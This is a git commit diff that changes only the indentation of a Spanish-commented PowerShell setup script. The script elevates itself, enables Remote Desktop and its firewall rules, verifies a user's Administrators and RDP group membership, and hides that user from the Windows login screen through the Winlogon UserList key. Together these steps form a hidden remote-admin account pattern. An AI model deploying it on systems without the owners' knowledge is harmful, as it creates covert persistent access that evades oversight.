Otra vez
This commit is contained in:
88
setup.ps1
88
setup.ps1
@@ -119,12 +119,12 @@ function Ensure-Administrator {
|
|||||||
$process = Start-Process `
|
$process = Start-Process `
|
||||||
-FilePath "powershell.exe" `
|
-FilePath "powershell.exe" `
|
||||||
-ArgumentList @(
|
-ArgumentList @(
|
||||||
"-NoProfile"
|
"-NoProfile"
|
||||||
"-ExecutionPolicy"
|
"-ExecutionPolicy"
|
||||||
"Bypass"
|
"Bypass"
|
||||||
"-File"
|
"-File"
|
||||||
$quotedScript
|
$quotedScript
|
||||||
) `
|
) `
|
||||||
-Verb RunAs `
|
-Verb RunAs `
|
||||||
-Wait `
|
-Wait `
|
||||||
-PassThru `
|
-PassThru `
|
||||||
@@ -172,10 +172,10 @@ function Get-LocalGroupBySid {
|
|||||||
)
|
)
|
||||||
|
|
||||||
$group = Get-LocalGroup -ErrorAction Stop |
|
$group = Get-LocalGroup -ErrorAction Stop |
|
||||||
Where-Object {
|
Where-Object {
|
||||||
$_.SID.Value -eq $Sid
|
$_.SID.Value -eq $Sid
|
||||||
} |
|
} |
|
||||||
Select-Object -First 1
|
Select-Object -First 1
|
||||||
|
|
||||||
if ($null -eq $group) {
|
if ($null -eq $group) {
|
||||||
throw "No se encontró el grupo con SID $Sid."
|
throw "No se encontró el grupo con SID $Sid."
|
||||||
@@ -421,7 +421,7 @@ function Enable-RemoteDesktop {
|
|||||||
# --------------------------------------------------------
|
# --------------------------------------------------------
|
||||||
|
|
||||||
$rdpRegistryPath =
|
$rdpRegistryPath =
|
||||||
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
|
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
|
||||||
|
|
||||||
Set-ItemProperty `
|
Set-ItemProperty `
|
||||||
-Path $rdpRegistryPath `
|
-Path $rdpRegistryPath `
|
||||||
@@ -492,10 +492,10 @@ function Enable-RemoteDesktop {
|
|||||||
|
|
||||||
$firewallRules = Get-NetFirewallRule `
|
$firewallRules = Get-NetFirewallRule `
|
||||||
-ErrorAction Stop |
|
-ErrorAction Stop |
|
||||||
Where-Object {
|
Where-Object {
|
||||||
$_.DisplayGroup -eq "Remote Desktop" -or
|
$_.DisplayGroup -eq "Remote Desktop" -or
|
||||||
$_.DisplayGroup -eq "Escritorio remoto"
|
$_.DisplayGroup -eq "Escritorio remoto"
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($null -eq $firewallRules) {
|
if ($null -eq $firewallRules) {
|
||||||
|
|
||||||
@@ -503,20 +503,20 @@ function Enable-RemoteDesktop {
|
|||||||
}
|
}
|
||||||
|
|
||||||
$firewallRules |
|
$firewallRules |
|
||||||
Enable-NetFirewallRule `
|
Enable-NetFirewallRule `
|
||||||
-ErrorAction Stop
|
-ErrorAction Stop
|
||||||
|
|
||||||
# Verificación REAL de las reglas.
|
# Verificación REAL de las reglas.
|
||||||
|
|
||||||
$enabledRules = Get-NetFirewallRule `
|
$enabledRules = Get-NetFirewallRule `
|
||||||
-ErrorAction Stop |
|
-ErrorAction Stop |
|
||||||
Where-Object {
|
Where-Object {
|
||||||
(
|
(
|
||||||
$_.DisplayGroup -eq "Remote Desktop" -or
|
$_.DisplayGroup -eq "Remote Desktop" -or
|
||||||
$_.DisplayGroup -eq "Escritorio remoto"
|
$_.DisplayGroup -eq "Escritorio remoto"
|
||||||
) -and
|
) -and
|
||||||
$_.Enabled -eq "True"
|
$_.Enabled -eq "True"
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($null -eq $enabledRules) {
|
if ($null -eq $enabledRules) {
|
||||||
|
|
||||||
@@ -542,7 +542,7 @@ function Hide-UserFromLogin {
|
|||||||
-ForegroundColor Cyan
|
-ForegroundColor Cyan
|
||||||
|
|
||||||
$registryPath =
|
$registryPath =
|
||||||
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
|
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
|
||||||
|
|
||||||
# Crear la clave si no existe.
|
# Crear la clave si no existe.
|
||||||
|
|
||||||
@@ -552,7 +552,7 @@ function Hide-UserFromLogin {
|
|||||||
-Path $registryPath `
|
-Path $registryPath `
|
||||||
-Force `
|
-Force `
|
||||||
-ErrorAction Stop |
|
-ErrorAction Stop |
|
||||||
Out-Null
|
Out-Null
|
||||||
}
|
}
|
||||||
|
|
||||||
# 0 = ocultar usuario.
|
# 0 = ocultar usuario.
|
||||||
@@ -564,7 +564,7 @@ function Hide-UserFromLogin {
|
|||||||
-Value 0 `
|
-Value 0 `
|
||||||
-Force `
|
-Force `
|
||||||
-ErrorAction Stop |
|
-ErrorAction Stop |
|
||||||
Out-Null
|
Out-Null
|
||||||
|
|
||||||
# Verificación.
|
# Verificación.
|
||||||
|
|
||||||
@@ -617,11 +617,11 @@ function Test-FinalConfiguration {
|
|||||||
try {
|
try {
|
||||||
|
|
||||||
$administratorsGroup =
|
$administratorsGroup =
|
||||||
Get-LocalGroupBySid "S-1-5-32-544"
|
Get-LocalGroupBySid "S-1-5-32-544"
|
||||||
|
|
||||||
if (Test-UserInGroup `
|
if (Test-UserInGroup `
|
||||||
-Username $Username `
|
-Username $Username `
|
||||||
-Group $administratorsGroup) {
|
-Group $administratorsGroup) {
|
||||||
|
|
||||||
Write-Ok "Administrador: SI"
|
Write-Ok "Administrador: SI"
|
||||||
}
|
}
|
||||||
@@ -646,7 +646,7 @@ function Test-FinalConfiguration {
|
|||||||
try {
|
try {
|
||||||
|
|
||||||
$rdpRegistryPath =
|
$rdpRegistryPath =
|
||||||
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
|
"HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
|
||||||
|
|
||||||
$rdpValue = (
|
$rdpValue = (
|
||||||
Get-ItemProperty `
|
Get-ItemProperty `
|
||||||
@@ -709,13 +709,13 @@ function Test-FinalConfiguration {
|
|||||||
|
|
||||||
$enabledRules = Get-NetFirewallRule `
|
$enabledRules = Get-NetFirewallRule `
|
||||||
-ErrorAction Stop |
|
-ErrorAction Stop |
|
||||||
Where-Object {
|
Where-Object {
|
||||||
(
|
(
|
||||||
$_.DisplayGroup -eq "Remote Desktop" -or
|
$_.DisplayGroup -eq "Remote Desktop" -or
|
||||||
$_.DisplayGroup -eq "Escritorio remoto"
|
$_.DisplayGroup -eq "Escritorio remoto"
|
||||||
) -and
|
) -and
|
||||||
$_.Enabled -eq "True"
|
$_.Enabled -eq "True"
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($null -ne $enabledRules) {
|
if ($null -ne $enabledRules) {
|
||||||
|
|
||||||
@@ -742,11 +742,11 @@ function Test-FinalConfiguration {
|
|||||||
try {
|
try {
|
||||||
|
|
||||||
$rdpGroup =
|
$rdpGroup =
|
||||||
Get-LocalGroupBySid "S-1-5-32-555"
|
Get-LocalGroupBySid "S-1-5-32-555"
|
||||||
|
|
||||||
if (Test-UserInGroup `
|
if (Test-UserInGroup `
|
||||||
-Username $Username `
|
-Username $Username `
|
||||||
-Group $rdpGroup) {
|
-Group $rdpGroup) {
|
||||||
|
|
||||||
Write-Ok "Usuario autorizado para RDP: SI"
|
Write-Ok "Usuario autorizado para RDP: SI"
|
||||||
}
|
}
|
||||||
@@ -771,7 +771,7 @@ function Test-FinalConfiguration {
|
|||||||
try {
|
try {
|
||||||
|
|
||||||
$loginPath =
|
$loginPath =
|
||||||
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
|
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
|
||||||
|
|
||||||
$hiddenValue = (
|
$hiddenValue = (
|
||||||
Get-ItemProperty `
|
Get-ItemProperty `
|
||||||
@@ -854,10 +854,10 @@ try {
|
|||||||
Write-Step "COMPROBANDO GRUPOS LOCALES"
|
Write-Step "COMPROBANDO GRUPOS LOCALES"
|
||||||
|
|
||||||
$administratorsGroup =
|
$administratorsGroup =
|
||||||
Get-LocalGroupBySid "S-1-5-32-544"
|
Get-LocalGroupBySid "S-1-5-32-544"
|
||||||
|
|
||||||
$rdpGroup =
|
$rdpGroup =
|
||||||
Get-LocalGroupBySid "S-1-5-32-555"
|
Get-LocalGroupBySid "S-1-5-32-555"
|
||||||
|
|
||||||
Write-Ok "Grupo Administradores: $($administratorsGroup.Name)"
|
Write-Ok "Grupo Administradores: $($administratorsGroup.Name)"
|
||||||
Write-Ok "Grupo Escritorio remoto: $($rdpGroup.Name)"
|
Write-Ok "Grupo Escritorio remoto: $($rdpGroup.Name)"
|
||||||
|
|||||||
Reference in New Issue
Block a user